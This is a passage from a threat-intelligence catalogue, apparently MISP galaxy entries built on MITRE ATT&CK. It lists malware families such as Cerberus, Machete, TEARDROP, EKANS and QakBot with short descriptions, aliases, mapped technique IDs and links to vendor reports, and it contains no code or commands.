- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5306. Table References

Links
https://attack.mitre.org/software/S0604
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

BBK - S0470

[BBK](https://attack.mitre.org/software/S0470) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)

The tag is: *misp-galaxy:mitre-malware="BBK - S0470"*

BBK - S0470 is also known as:

- BBK

View relationships graph

BBK - S0470 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5307. Table References

Links
https://attack.mitre.org/software/S0470
https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf

Monokle - S0407

[Monokle](https://attack.mitre.org/software/S0407) is targeted, sophisticated mobile surveillanceware. It is developed for Android, but there are some code artifacts that suggests an iOS version may be in development.(Citation: Lookout-Monokle)

The tag is: *misp-galaxy:mitre-malware="Monokle - S0407"*

Monokle - S0407 is also known as:

- Monokle

View relationships graph

Monokle - S0407 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1544" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Call Control - T1616" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hooking - T1617" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507" with estimative-language:likelihood-probability="almost-certain"

Table 5308. Table References

Links
https://attack.mitre.org/software/S0407
https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf

Sakula - S0074

[Sakula](https://attack.mitre.org/software/S0074) is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)

The tag is: *misp-galaxy:mitre-malware="Sakula - S0074"*

Sakula - S0074 is also known as:

- Sakula
- Sakurel
- VIPER

View relationships graph

Sakula - S0074 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="Sakula" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Sakula" with estimative-language:likelihood-probability="likely"

Table 5309. Table References

Links
http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/
https://attack.mitre.org/software/S0074

Cerberus - S0480

[Cerberus](https://attack.mitre.org/software/S0480) is a banking trojan whose usage can be rented on underground forums and marketplaces. Prior to being available to rent, the authors of [Cerberus](https://attack.mitre.org/software/S0480) claim was used in private operations for two years.(Citation: Threat Fabric Cerberus)

The tag is: *misp-galaxy:mitre-malware="Cerberus - S0480"*

Cerberus - S0480 is also known as:

- Cerberus

View relationships graph

Cerberus - S0480 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1576" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478"

with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5310. Table References

Links
https://attack.mitre.org/software/S0480
https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html

PinchDuke - S0048

[PinchDuke](https://attack.mitre.org/software/S0048) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2008 to 2010. (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="PinchDuke - S0048"*

PinchDuke - S0048 is also known as:

- PinchDuke

View relationships graph

PinchDuke - S0048 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5311. Table References

Links
https://attack.mitre.org/software/S0048
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

GeminiDuke - S0049

[GeminiDuke](https://attack.mitre.org/software/S0049) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2009 to 2012. (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="GeminiDuke - S0049"*

GeminiDuke - S0049 is also known as:

* GeminiDuke

View relationships graph

GeminiDuke - S0049 has relationships with:

* uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
* similar: misp-galaxy:tool="GeminiDuke" with estimative-language:likelihood-probability="likely"
* uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5312. Table References

Links
https://attack.mitre.org/software/S0049
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

Machete - S0409

[Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset used by [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines that was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: 360 Machete Sep 2020)

The tag is: *misp-galaxy:mitre-malware="Machete - S0409"*

Machete - S0409 is also known as:

- Machete
- Pyark

View relationships graph

Machete - S0409 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 5313. Table References

Links
https://attack.mitre.org/software/S0409
https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/
https://securelist.com/el-machete/66108/
https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf

DoubleAgent - S0550

[DoubleAgent](https://attack.mitre.org/software/S0550) is a family of RAT malware dating back to 2013, known to target groups with contentious relationships with the Chinese government.(Citation: Lookout Uyghur Campaign)

The tag is: *misp-galaxy:mitre-malware="DoubleAgent - S0550"*

DoubleAgent - S0550 is also known as:

- DoubleAgent

View relationships graph

DoubleAgent - S0550 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1605" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5314. Table References

Links
https://attack.mitre.org/software/S0550
https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

RARSTONE - S0055

[RARSTONE](https://attack.mitre.org/software/S0055) is malware used by the [Naikon](https://attack.mitre.org/groups/G0019) group that has some characteristics similar to [PlugX](https://attack.mitre.org/software/S0013). (Citation: Aquino RARSTONE)

The tag is: *misp-galaxy:mitre-malware="RARSTONE - S0055"*

RARSTONE - S0055 is also known as:

- RARSTONE

View relationships graph

RARSTONE - S0055 has relationships with:

- similar: misp-galaxy:tool="RARSTONE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5315. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/
https://attack.mitre.org/software/S0055

TEARDROP - S0560

[TEARDROP](https://attack.mitre.org/software/S0560) is a memory-only dropper that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was likely used by [APT29](https://attack.mitre.org/groups/G0016) since at least May 2020.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)

The tag is: *misp-galaxy:mitre-malware="TEARDROP - S0560"*

TEARDROP - S0560 is also known as:

- TEARDROP

View relationships graph

TEARDROP - S0560 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 5316. Table References

Links
https://attack.mitre.org/software/S0560
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

EKANS - S0605

[EKANS](https://attack.mitre.org/software/S0605) is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. [EKANS](https://attack.mitre.org/software/S0605) has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in [MegaCortex](https://attack.mitre.org/software/S0576).(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)

The tag is: *misp-galaxy:mitre-malware="EKANS - S0605"*

EKANS - S0605 is also known as:

- EKANS
- SNAKEHOSE

View relationships graph

EKANS - S0605 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5317. Table References

Links
https://attack.mitre.org/software/S0605
https://unit42.paloaltonetworks.com/threat-assessment-ekans-ransomware/
https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/
https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html

ViperRAT - S0506

[ViperRAT](https://attack.mitre.org/software/S0506) is sophisticated surveillanceware that has been in operation since at least 2015 and was used to target the Israeli Defense Force.(Citation: Lookout ViperRAT)

The tag is: *misp-galaxy:mitre-malware="ViperRAT - S0506"*

ViperRAT - S0506 is also known as:

- ViperRAT

View relationships graph

ViperRAT - S0506 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5318. Table References

Links
https://attack.mitre.org/software/S0506
https://blog.lookout.com/viperrat-mobile-apt

QakBot - S0650

[QakBot](https://attack.mitre.org/software/S0650) is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. [QakBot](https://attack.mitre.org/software/S0650) is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably [ProLock](https://attack.mitre.org/software/S0654) and [Egregor](https://attack.mitre.org/software/S0554).(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)

The tag is: *misp-galaxy:mitre-malware="QakBot - S0650"*

QakBot - S0650 is also known as:

- QakBot
- Pinkslipbot
- QuackBot
- QBot

View relationships graph

QakBot - S0650 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
